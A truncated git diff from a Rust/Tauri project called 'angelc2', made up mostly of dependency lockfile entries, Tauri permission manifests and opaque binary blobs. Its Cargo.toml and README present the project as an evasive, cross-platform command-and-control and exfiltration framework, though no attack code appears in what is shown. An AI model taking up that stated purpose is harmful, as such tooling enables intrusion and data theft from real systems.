"windows_aarch64_msvc" -version = "0.52.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" - -[[package]] -name = "windows_i686_gnu" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" - -[[package]] -name = "windows_i686_gnu" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" - -[[package]] -name = "windows_i686_gnu" -version = "0.52.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" - -[[package]] -name = "windows_i686_gnullvm" -version = "0.52.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" - -[[package]] -name = "windows_i686_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" - -[[package]] -name = "windows_i686_msvc" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" - -[[package]] -name = "windows_i686_msvc" -version = "0.52.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" - -[[package]] -name = "windows_x86_64_gnu" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" - -[[package]] -name = "windows_x86_64_gnu" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" - -[[package]] -name = "windows_x86_64_gnu" -version = "0.52.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" - -[[package]] -name = "windows_x86_64_gnullvm" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" - -[[package]] -name = "windows_x86_64_gnullvm" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" - -[[package]] -name = "windows_x86_64_gnullvm" -version = "0.52.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" - -[[package]] -name = "windows_x86_64_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" - -[[package]] -name = "windows_x86_64_msvc" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" - -[[package]] -name = "windows_x86_64_msvc" -version = "0.52.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" - -[[package]] -name = "winnow" -version = "0.5.40" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f593a95398737aeed53e489c785df13f3618e41dbcd6718c6addbf1395aa6876" -dependencies = [ - "memchr", -] - -[[package]] -name = "winreg" -version = "0.52.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a277a57398d4bfa075df44f501a17cfdf8542d224f0d36095a2adc7aee4ef0a5" -dependencies = [ - "cfg-if", - "windows-sys 0.48.0", -] - -[[package]] -name = "wry" -version = "0.46.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6fa1c8c760041c64ce6be99f83d6cb55fe3fcd85a1ad46d32895f6e65cee87ba" -dependencies = [ - "base64 0.22.1", - "block2", - "crossbeam-channel", - "dpi", - "dunce", - "gdkx11", - "gtk", - "html5ever", - "http", - "javascriptcore-rs", - "jni", - "kuchikiki", - "libc", - "ndk", - "objc2", - "objc2-app-kit", - "objc2-foundation", - "objc2-ui-kit", - "objc2-web-kit", - "once_cell", - "percent-encoding", - "raw-window-handle", - "sha2", - "soup3", - "tao-macros", - "thiserror", - "webkit2gtk", - "webkit2gtk-sys", - "webview2-com", - "windows", - "windows-core 0.58.0", - "windows-version", - "x11-dl", -] - -[[package]] -name = "x11" -version = "2.21.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "502da5464ccd04011667b11c435cb992822c2c0dbde1770c988480d312a0db2e" -dependencies = [ - "libc", - "pkg-config", -] - -[[package]] -name = "x11-dl" -version = "2.21.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "38735924fedd5314a6e548792904ed8c6de6636285cb9fec04d5b1db85c1516f" -dependencies = [ - "libc", - "once_cell", - "pkg-config", -] - -[[package]] -name = "zerocopy" -version = "0.7.35" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b9b4fd18abc82b8136838da5d50bae7bdea537c574d8dc1a34ed098d6c166f0" -dependencies = [ - "byteorder", - "zerocopy-derive", -] - -[[package]] -name = "zerocopy-derive" -version = "0.7.35" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.79", -] diff --git a/Cargo.toml b/Cargo.toml deleted file mode 100644 index 6223363..0000000 --- a/Cargo.toml +++ /dev/null @@ -1,24 +0,0 @@ -[package] -name = "angel" -version = "0.1.0" -description = "Angel: lightweight & minimalistic, yet powerful and extensible C2 framework" -authors = ["0xkiss"] -edition = "2021" - -# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html - -[lib] -# The `_lib` suffix may seem redundant but it is necessary -# to make the lib name unique and wouldn't conflict with the bin name. -# This seems to be only an issue on Windows, see https://github.com/rust-lang/cargo/issues/8519 -name = "angel_lib" -crate-type = ["staticlib", "cdylib", "rlib"] - -[build-dependencies] -tauri-build = { version = "2", features = [] } - -[dependencies] -tauri = { version = "2", features = [] } -tauri-plugin-shell = "2" -serde = { version = "1", features = ["derive"] } -serde_json = "1" diff --git a/HEAD b/HEAD deleted file mode 100644 index 5b2347c..0000000 --- a/HEAD +++ /dev/null @@ -1 +0,0 @@ -0000000000000000000000000000000000000000 22ec46f9a0d1d2bce3ace74896657f22e4fec052 unknown 1762455741 +0100 clone: from http://ducky.vulnerable.lol:9994/gumbobrot/angelc2.git diff --git a/LICENSE b/LICENSE index 8bd3cfb96947a08ee43646068b9143b25de674e85d7aa4785fccc12171994ad3..12e378fb284e568b58ce978e12a75fee6758bae310076fd1385a5a6265935ca6 100644 GIT binary patch literal 1211 zcmZuxU2mH(6n*cnxau=Y-=}GklQ@kv0+Auh`sjd@cmtc+W>xmP zYwEKJgzM z;8r93UfXFeVy3e;9?{zNA&gCAE_XFyhh##J}T(sx`~=iHhx@URE^c5W(g-zoJ6_B4=Wg(UNW0 za}pw{gf=;Cy9wE^`LqORhHFuavPg;-Wl>AKW-uh{d+AGWmAtQH3HX#8DpEW} zsw?;vC8atEyoZl1DVrVq-L)(^%YlVX6dyLDaVwmZ-l5;drsJ&ALBpS7`qkj59nouy Zz?XB3!{?``(c*`rZO}94PfuST{s9BLj1K?+ literal 1024 ScmZQz7zLvtFd70QH3R?z00031 diff --git a/LICENSE.txt b/LICENSE.txt deleted file mode 100644 index 8bd3cfb96947a08ee43646068b9143b25de674e85d7aa4785fccc12171994ad3..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1024 ScmZQz7zLvtFd70QH3R?z00031 diff --git a/README.md b/README.md index 8f4daee..255d115 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,3 @@ -# angelc2 - -Professional C2 software for security research \ No newline at end of file +# angelc2 + +Full-fledged cross-platform & evasive c2 exfiltration framework. \ No newline at end of file diff --git a/README.txt b/README.txt deleted file mode 100644 index 8bd3cfb96947a08ee43646068b9143b25de674e85d7aa4785fccc12171994ad3..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1024 ScmZQz7zLvtFd70QH3R?z00031 diff --git a/a0271a3edd26e93be3b0531893f9ce6ae89502 b/a0271a3edd26e93be3b0531893f9ce6ae89502 deleted file mode 100644 index 4247a9f407965390612c864a807f89e121783a3c5a50475133d1b9236d3ea1bf..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 383 zcmV-_0f7E^0fmxVQ^GJ1g?;8%tPE<(aP!5%mW#gl?1)cNz|gMHnUXNcmWxdN?WS$0 z$T(vk+HLZk-ILSKV>ySr`|btq)>09~NT8Q;JJai!>!k~GDP!aU`ami{uTrsKAcZDa zAdL(?%3;GW2l|842HtO8pYt0YCsJF0bmt>uGQBHS?PjXKYlahadin9=eUR*7mFedmQ$M%NC)gGAqX^BxwU~JDpDc zmYRE7e)O~09oi*p?jvP8vY*m<<1_W2Va|7+&8_Q;vpNU!Il63 diff --git a/acl-manifests.json b/acl-manifests.json deleted file mode 100644 index 29c8ec7..0000000 --- a/acl-manifests.json +++ /dev/null @@ -1 +0,0 @@ -{"core":{"default_permission":{"identifier":"default","description":"Default core plugins set which includes:\n- 'core:path:default'\n- 'core:event:default'\n- 'core:window:default'\n- 'core:webview:default'\n- 'core:app:default'\n- 'core:image:default'\n- 'core:resources:default'\n- 'core:menu:default'\n- 'core:tray:default'\n","permissions":["core:path:default","core:event:default","core:window:default","core:webview:default","core:app:default","core:image:default","core:resources:default","core:menu:default","core:tray:default"]},"permissions":{},"permission_sets":{},"global_scope_schema":null},"core:app":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-version","allow-name","allow-tauri-version"]},"permissions":{"allow-app-hide":{"identifier":"allow-app-hide","description":"Enables the app_hide command without any pre-configured scope.","commands":{"allow":["app_hide"],"deny":[]}},"allow-app-show":{"identifier":"allow-app-show","description":"Enables the app_show command without any pre-configured scope.","commands":{"allow":["app_show"],"deny":[]}},"allow-default-window-icon":{"identifier":"allow-default-window-icon","description":"Enables the default_window_icon command without any pre-configured scope.","commands":{"allow":["default_window_icon"],"deny":[]}},"allow-name":{"identifier":"allow-name","description":"Enables the name command without any pre-configured scope.","commands":{"allow":["name"],"deny":[]}},"allow-set-app-theme":{"identifier":"allow-set-app-theme","description":"Enables the set_app_theme command without any pre-configured scope.","commands":{"allow":["set_app_theme"],"deny":[]}},"allow-tauri-version":{"identifier":"allow-tauri-version","description":"Enables the tauri_version command without any pre-configured scope.","commands":{"allow":["tauri_version"],"deny":[]}},"allow-version":{"identifier":"allow-version","description":"Enables the version command without any pre-configured scope.","commands":{"allow":["version"],"deny":[]}},"deny-app-hide":{"identifier":"deny-app-hide","description":"Denies the app_hide command without any pre-configured scope.","commands":{"allow":[],"deny":["app_hide"]}},"deny-app-show":{"identifier":"deny-app-show","description":"Denies the app_show command without any pre-configured scope.","commands":{"allow":[],"deny":["app_show"]}},"deny-default-window-icon":{"identifier":"deny-default-window-icon","description":"Denies the default_window_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["default_window_icon"]}},"deny-name":{"identifier":"deny-name","description":"Denies the name command without any pre-configured scope.","commands":{"allow":[],"deny":["name"]}},"deny-set-app-theme":{"identifier":"deny-set-app-theme","description":"Denies the set_app_theme command without any pre-configured scope.","commands":{"allow":[],"deny":["set_app_theme"]}},"deny-tauri-version":{"identifier":"deny-tauri-version","description":"Denies the tauri_version command without any pre-configured scope.","commands":{"allow":[],"deny":["tauri_version"]}},"deny-version":{"identifier":"deny-version","description":"Denies the version command without any pre-configured scope.","commands":{"allow":[],"deny":["version"]}}},"permission_sets":{},"global_scope_schema":null},"core:event":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-listen","allow-unlisten","allow-emit","allow-emit-to"]},"permissions":{"allow-emit":{"identifier":"allow-emit","description":"Enables the emit command without any pre-configured scope.","commands":{"allow":["emit"],"deny":[]}},"allow-emit-to":{"identifier":"allow-emit-to","description":"Enables the emit_to command without any pre-configured scope.","commands":{"allow":["emit_to"],"deny":[]}},"allow-listen":{"identifier":"allow-listen","description":"Enables the listen command without any pre-configured scope.","commands":{"allow":["listen"],"deny":[]}},"allow-unlisten":{"identifier":"allow-unlisten","description":"Enables the unlisten command without any pre-configured scope.","commands":{"allow":["unlisten"],"deny":[]}},"deny-emit":{"identifier":"deny-emit","description":"Denies the emit command without any pre-configured scope.","commands":{"allow":[],"deny":["emit"]}},"deny-emit-to":{"identifier":"deny-emit-to","description":"Denies the emit_to command without any pre-configured scope.","commands":{"allow":[],"deny":["emit_to"]}},"deny-listen":{"identifier":"deny-listen","description":"Denies the listen command without any pre-configured scope.","commands":{"allow":[],"deny":["listen"]}},"deny-unlisten":{"identifier":"deny-unlisten","description":"Denies the unlisten command without any pre-configured scope.","commands":{"allow":[],"deny":["unlisten"]}}},"permission_sets":{},"global_scope_schema":null},"core:image":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-new","allow-from-bytes","allow-from-path","allow-rgba","allow-size"]},"permissions":{"allow-from-bytes":{"identifier":"allow-from-bytes","description":"Enables the from_bytes command without any pre-configured scope.","commands":{"allow":["from_bytes"],"deny":[]}},"allow-from-path":{"identifier":"allow-from-path","description":"Enables the from_path command without any pre-configured scope.","commands":{"allow":["from_path"],"deny":[]}},"allow-new":{"identifier":"allow-new","description":"Enables the new command without any pre-configured scope.","commands":{"allow":["new"],"deny":[]}},"allow-rgba":{"identifier":"allow-rgba","description":"Enables the rgba command without any pre-configured scope.","commands":{"allow":["rgba"],"deny":[]}},"allow-size":{"identifier":"allow-size","description":"Enables the size command without any pre-configured scope.","commands":{"allow":["size"],"deny":[]}},"deny-from-bytes":{"identifier":"deny-from-bytes","description":"Denies the from_bytes command without any pre-configured scope.","commands":{"allow":[],"deny":["from_bytes"]}},"deny-from-path":{"identifier":"deny-from-path","description":"Denies the from_path command without any pre-configured scope.","commands":{"allow":[],"deny":["from_path"]}},"deny-new":{"identifier":"deny-new","description":"Denies the new command without any pre-configured scope.","commands":{"allow":[],"deny":["new"]}},"deny-rgba":{"identifier":"deny-rgba","description":"Denies the rgba command without any pre-configured scope.","commands":{"allow":[],"deny":["rgba"]}},"deny-size":{"identifier":"deny-size","description":"Denies the size command without any pre-configured scope.","commands":{"allow":[],"deny":["size"]}}},"permission_sets":{},"global_scope_schema":null},"core:menu":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-new","allow-append","allow-prepend","allow-insert","allow-remove","allow-remove-at","allow-items","allow-get","allow-popup","allow-create-default","allow-set-as-app-menu","allow-set-as-window-menu","allow-text","allow-set-text","allow-is-enabled","allow-set-enabled","allow-set-accelerator","allow-set-as-windows-menu-for-nsapp","allow-set-as-help-menu-for-nsapp","allow-is-checked","allow-set-checked","allow-set-icon"]},"permissions":{"allow-append":{"identifier":"allow-append","description":"Enables the append command without any pre-configured scope.","commands":{"allow":["append"],"deny":[]}},"allow-create-default":{"identifier":"allow-create-default","description":"Enables the create_default command without any pre-configured scope.","commands":{"allow":["create_default"],"deny":[]}},"allow-get":{"identifier":"allow-get","description":"Enables the get command without any pre-configured scope.","commands":{"allow":["get"],"deny":[]}},"allow-insert":{"identifier":"allow-insert","description":"Enables the insert command without any pre-configured scope.","commands":{"allow":["insert"],"deny":[]}},"allow-is-checked":{"identifier":"allow-is-checked","description":"Enables the is_checked command without any pre-configured scope.","commands":{"allow":["is_checked"],"deny":[]}},"allow-is-enabled":{"identifier":"allow-is-enabled","description":"Enables the is_enabled command without any pre-configured scope.","commands":{"allow":["is_enabled"],"deny":[]}},"allow-items":{"identifier":"allow-items","description":"Enables the items command without any pre-configured scope.","commands":{"allow":["items"],"deny":[]}},"allow-new":{"identifier":"allow-new","description":"Enables the new command without any pre-configured scope.","commands":{"allow":["new"],"deny":[]}},"allow-popup":{"identifier":"allow-popup","description":"Enables the popup command without any pre-configured scope.","commands":{"allow":["popup"],"deny":[]}},"allow-prepend":{"identifier":"allow-prepend","description":"Enables the prepend command without any pre-configured scope.","commands":{"allow":["prepend"],"deny":[]}},"allow-remove":{"identifier":"allow-remove","description":"Enables the remove command without any pre-configured scope.","commands":{"allow":["remove"],"deny":[]}},"allow-remove-at":{"identifier":"allow-remove-at","description":"Enables the remove_at command without any pre-configured scope.","commands":{"allow":["remove_at"],"deny":[]}},"allow-set-accelerator":{"identifier":"allow-set-accelerator","description":"Enables the set_accelerator command without any pre-configured scope.","commands":{"allow":["set_accelerator"],"deny":[]}},"allow-set-as-app-menu":{"identifier":"allow-set-as-app-menu","description":"Enables the set_as_app_menu command without any pre-configured scope.","commands":{"allow":["set_as_app_menu"],"deny":[]}},"allow-set-as-help-menu-for-nsapp":{"identifier":"allow-set-as-help-menu-for-nsapp","description":"Enables the set_as_help_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":["set_as_help_menu_for_nsapp"],"deny":[]}},"allow-set-as-window-menu":{"identifier":"allow-set-as-window-menu","description":"Enables the set_as_window_menu command without any pre-configured scope.","commands":{"allow":["set_as_window_menu"],"deny":[]}},"allow-set-as-windows-menu-for-nsapp":{"identifier":"allow-set-as-windows-menu-for-nsapp","description":"Enables the set_as_windows_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":["set_as_windows_menu_for_nsapp"],"deny":[]}},"allow-set-checked":{"identifier":"allow-set-checked","description":"Enables the set_checked command without any pre-configured scope.","commands":{"allow":["set_checked"],"deny":[]}},"allow-set-enabled":{"identifier":"allow-set-enabled","description":"Enables the set_enabled command without any pre-configured scope.","commands":{"allow":["set_enabled"],"deny":[]}},"allow-set-icon":{"identifier":"allow-set-icon","description":"Enables the set_icon command without any pre-configured scope.","commands":{"allow":["set_icon"],"deny":[]}},"allow-set-text":{"identifier":"allow-set-text","description":"Enables the set_text command without any pre-configured scope.","commands":{"allow":["set_text"],"deny":[]}},"allow-text":{"identifier":"allow-text","description":"Enables the text command without any pre-configured scope.","commands":{"allow":["text"],"deny":[]}},"deny-append":{"identifier":"deny-append","description":"Denies the append command without any pre-configured scope.","commands":{"allow":[],"deny":["append"]}},"deny-create-default":{"identifier":"deny-create-default","description":"Denies the create_default command without any pre-configured scope.","commands":{"allow":[],"deny":["create_default"]}},"deny-get":{"identifier":"deny-get","description":"Denies the get command without any pre-configured scope.","commands":{"allow":[],"deny":["get"]}},"deny-insert":{"identifier":"deny-insert","description":"Denies the insert command without any pre-configured scope.","commands":{"allow":[],"deny":["insert"]}},"deny-is-checked":{"identifier":"deny-is-checked","description":"Denies the is_checked command without any pre-configured scope.","commands":{"allow":[],"deny":["is_checked"]}},"deny-is-enabled":{"identifier":"deny-is-enabled","description":"Denies the is_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["is_enabled"]}},"deny-items":{"identifier":"deny-items","description":"Denies the items command without any pre-configured scope.","commands":{"allow":[],"deny":["items"]}},"deny-new":{"identifier":"deny-new","description":"Denies the new command without any pre-configured scope.","commands":{"allow":[],"deny":["new"]}},"deny-popup":{"identifier":"deny-popup","description":"Denies the popup command without any pre-configured scope.","commands":{"allow":[],"deny":["popup"]}},"deny-prepend":{"identifier":"deny-prepend","description":"Denies the prepend command without any pre-configured scope.","commands":{"allow":[],"deny":["prepend"]}},"deny-remove":{"identifier":"deny-remove","description":"Denies the remove command without any pre-configured scope.","commands":{"allow":[],"deny":["remove"]}},"deny-remove-at":{"identifier":"deny-remove-at","description":"Denies the remove_at command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_at"]}},"deny-set-accelerator":{"identifier":"deny-set-accelerator","description":"Denies the set_accelerator command without any pre-configured scope.","commands":{"allow":[],"deny":["set_accelerator"]}},"deny-set-as-app-menu":{"identifier":"deny-set-as-app-menu","description":"Denies the set_as_app_menu command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_app_menu"]}},"deny-set-as-help-menu-for-nsapp":{"identifier":"deny-set-as-help-menu-for-nsapp","description":"Denies the set_as_help_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_help_menu_for_nsapp"]}},"deny-set-as-window-menu":{"identifier":"deny-set-as-window-menu","description":"Denies the set_as_window_menu command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_window_menu"]}},"deny-set-as-windows-menu-for-nsapp":{"identifier":"deny-set-as-windows-menu-for-nsapp","description":"Denies the set_as_windows_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_windows_menu_for_nsapp"]}},"deny-set-checked":{"identifier":"deny-set-checked","description":"Denies the set_checked command without any pre-configured scope.","commands":{"allow":[],"deny":["set_checked"]}},"deny-set-enabled":{"identifier":"deny-set-enabled","description":"Denies the set_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_enabled"]}},"deny-set-icon":{"identifier":"deny-set-icon","description":"Denies the set_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon"]}},"deny-set-text":{"identifier":"deny-set-text","description":"Denies the set_text command without any pre-configured scope.","commands":{"allow":[],"deny":["set_text"]}},"deny-text":{"identifier":"deny-text","description":"Denies the text command without any pre-configured scope.","commands":{"allow":[],"deny":["text"]}}},"permission_sets":{},"global_scope_schema":null},"core:path":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-resolve-directory","allow-resolve","allow-normalize","allow-join","allow-dirname","allow-extname","allow-basename","allow-is-absolute"]},"permissions":{"allow-basename":{"identifier":"allow-basename","description":"Enables the basename command without any pre-configured scope.","commands":{"allow":["basename"],"deny":[]}},"allow-dirname":{"identifier":"allow-dirname","description":"Enables the dirname command without any pre-configured scope.","commands":{"allow":["dirname"],"deny":[]}},"allow-extname":{"identifier":"allow-extname","description":"Enables the extname command without any pre-configured scope.","commands":{"allow":["extname"],"deny":[]}},"allow-is-absolute":{"identifier":"allow-is-absolute","description":"Enables the is_absolute command without any pre-configured scope.","commands":{"allow":["is_absolute"],"deny":[]}},"allow-join":{"identifier":"allow-join","description":"Enables the join command without any pre-configured scope.","commands":{"allow":["join"],"deny":[]}},"allow-normalize":{"identifier":"allow-normalize","description":"Enables the normalize command without any pre-configured scope.","commands":{"allow":["normalize"],"deny":[]}},"allow-resolve":{"identifier":"allow-resolve","description":"Enables the resolve command without any pre-configured scope.","commands":{"allow":["resolve"],"deny":[]}},"allow-resolve-directory":{"identifier":"allow-resolve-directory","description":"Enables the resolve_directory command without any pre-configured scope.","commands":{"allow":["resolve_directory"],"deny":[]}},"deny-basename":{"identifier":"deny-basename","description":"Denies the basename command without any pre-configured scope.","commands":{"allow":[],"deny":["basename"]}},"deny-dirname":{"identifier":"deny-dirname","description":"Denies the dirname command without any pre-configured scope.","commands":{"allow":[],"deny":["dirname"]}},"deny-extname":{"identifier":"deny-extname","description":"Denies the extname command without any pre-configured scope.","commands":{"allow":[],"deny":["extname"]}},"deny-is-absolute":{"identifier":"deny-is-absolute","description":"Denies the is_absolute command without any pre-configured scope.","commands":{"allow":[],"deny":["is_absolute"]}},"deny-join":{"identifier":"deny-join","description":"Denies the join command without any pre-configured scope.","commands":{"allow":[],"deny":["join"]}},"deny-normalize":{"identifier":"deny-normalize","description":"Denies the normalize command without any pre-configured scope.","commands":{"allow":[],"deny":["normalize"]}},"deny-resolve":{"identifier":"deny-resolve","description":"Denies the resolve command without any pre-configured scope.","commands":{"allow":[],"deny":["resolve"]}},"deny-resolve-directory":{"identifier":"deny-resolve-directory","description":"Denies the resolve_directory command without any pre-configured scope.","commands":{"allow":[],"deny":["resolve_directory"]}}},"permission_sets":{},"global_scope_schema":null},"core:resources":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-close"]},"permissions":{"allow-close":{"identifier":"allow-close","description":"Enables the close command without any pre-configured scope.","commands":{"allow":["close"],"deny":[]}},"deny-close":{"identifier":"deny-close","description":"Denies the close command without any pre-configured scope.","commands":{"allow":[],"deny":["close"]}}},"permission_sets":{},"global_scope_schema":null},"core:tray":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-new","allow-get-by-id","allow-remove-by-id","allow-set-icon","allow-set-menu","allow-set-tooltip","allow-set-title","allow-set-visible","allow-set-temp-dir-path","allow-set-icon-as-template","allow-set-show-menu-on-left-click"]},"permissions":{"allow-get-by-id":{"identifier":"allow-get-by-id","description":"Enables the get_by_id command without any pre-configured scope.","commands":{"allow":["get_by_id"],"deny":[]}},"allow-new":{"identifier":"allow-new","description":"Enables the new command without any pre-configured scope.","commands":{"allow":["new"],"deny":[]}},"allow-remove-by-id":{"identifier":"allow-remove-by-id","description":"Enables the remove_by_id command without any pre-configured scope.","commands":{"allow":["remove_by_id"],"deny":[]}},"allow-set-icon":{"identifier":"allow-set-icon","description":"Enables the set_icon command without any pre-configured scope.","commands":{"allow":["set_icon"],"deny":[]}},"allow-set-icon-as-template":{"identifier":"allow-set-icon-as-template","description":"Enables the set_icon_as_template command without any pre-configured scope.","commands":{"allow":["set_icon_as_template"],"deny":[]}},"allow-set-menu":{"identifier":"allow-set-menu","description":"Enables the set_menu command without any pre-configured scope.","commands":{"allow":["set_menu"],"deny":[]}},"allow-set-show-menu-on-left-click":{"identifier":"allow-set-show-menu-on-left-click","description":"Enables the set_show_menu_on_left_click command without any pre-configured scope.","commands":{"allow":["set_show_menu_on_left_click"],"deny":[]}},"allow-set-temp-dir-path":{"identifier":"allow-set-temp-dir-path","description":"Enables the set_temp_dir_path command without any pre-configured scope.","commands":{"allow":["set_temp_dir_path"],"deny":[]}},"allow-set-title":{"identifier":"allow-set-title","description":"Enables the set_title command without any pre-configured scope.","commands":{"allow":["set_title"],"deny":[]}},"allow-set-tooltip":{"identifier":"allow-set-tooltip","description":"Enables the set_tooltip command without any pre-configured scope.","commands":{"allow":["set_tooltip"],"deny":[]}},"allow-set-visible":{"identifier":"allow-set-visible","description":"Enables the set_visible command without any pre-configured scope.","commands":{"allow":["set_visible"],"deny":[]}},"deny-get-by-id":{"identifier":"deny-get-by-id","description":"Denies the get_by_id command without any pre-configured scope.","commands":{"allow":[],"deny":["get_by_id"]}},"deny-new":{"identifier":"deny-new","description":"Denies the new command without any pre-configured scope.","commands":{"allow":[],"deny":["new"]}},"deny-remove-by-id":{"identifier":"deny-remove-by-id","description":"Denies the remove_by_id command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_by_id"]}},"deny-set-icon":{"identifier":"deny-set-icon","description":"Denies the set_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon"]}},"deny-set-icon-as-template":{"identifier":"deny-set-icon-as-template","description":"Denies the set_icon_as_template command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon_as_template"]}},"deny-set-menu":{"identifier":"deny-set-menu","description":"Denies the set_menu command without any pre-configured scope.","commands":{"allow":[],"deny":["set_menu"]}},"deny-set-show-menu-on-left-click":{"identifier":"deny-set-show-menu-on-left-click","description":"Denies the set_show_menu_on_left_click command without any pre-configured scope.","commands":{"allow":[],"deny":["set_show_menu_on_left_click"]}},"deny-set-temp-dir-path":{"identifier":"deny-set-temp-dir-path","description":"Denies the set_temp_dir_path command without any pre-configured scope.","commands":{"allow":[],"deny":["set_temp_dir_path"]}},"deny-set-title":{"identifier":"deny-set-title","description":"Denies the set_title command without any pre-configured scope.","commands":{"allow":[],"deny":["set_title"]}},"deny-set-tooltip":{"identifier":"deny-set-tooltip","description":"Denies the set_tooltip command without any pre-configured scope.","commands":{"allow":[],"deny":["set_tooltip"]}},"deny-set-visible":{"identifier":"deny-set-visible","description":"Denies the set_visible command without any pre-configured scope.","commands":{"allow":[],"deny":["set_visible"]}}},"permission_sets":{},"global_scope_schema":null},"core:webview":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-get-all-webviews","allow-webview-position","allow-webview-size","allow-internal-toggle-devtools"]},"permissions":{"allow-clear-all-browsing-data":{"identifier":"allow-clear-all-browsing-data","description":"Enables the clear_all_browsing_data command without any pre-configured scope.","commands":{"allow":["clear_all_browsing_data"],"deny":[]}},"allow-create-webview":{"identifier":"allow-create-webview","description":"Enables the create_webview command without any pre-configured scope.","commands":{"allow":["create_webview"],"deny":[]}},"allow-create-webview-window":{"identifier":"allow-create-webview-window","description":"Enables the create_webview_window command without any pre-configured scope.","commands":{"allow":["create_webview_window"],"deny":[]}},"allow-get-all-webviews":{"identifier":"allow-get-all-webviews","description":"Enables the get_all_webviews command without any pre-configured scope.","commands":{"allow":["get_all_webviews"],"deny":[]}},"allow-internal-toggle-devtools":{"identifier":"allow-internal-toggle-devtools","description":"Enables the internal_toggle_devtools command without any pre-configured scope.","commands":{"allow":["internal_toggle_devtools"],"deny":[]}},"allow-print":{"identifier":"allow-print","description":"Enables the print command without any pre-configured scope.","commands":{"allow":["print"],"deny":[]}},"allow-reparent":{"identifier":"allow-reparent","description":"Enables the reparent command without any pre-configured scope.","commands":{"allow":["reparent"],"deny":[]}},"allow-set-webview-focus":{"identifier":"allow-set-webview-focus","description":"Enables the set_webview_focus command without any pre-configured scope.","commands":{"allow":["set_webview_focus"],"deny":[]}},"allow-set-webview-position":{"identifier":"allow-set-webview-position","description":"Enables the set_webview_position command without any pre-configured 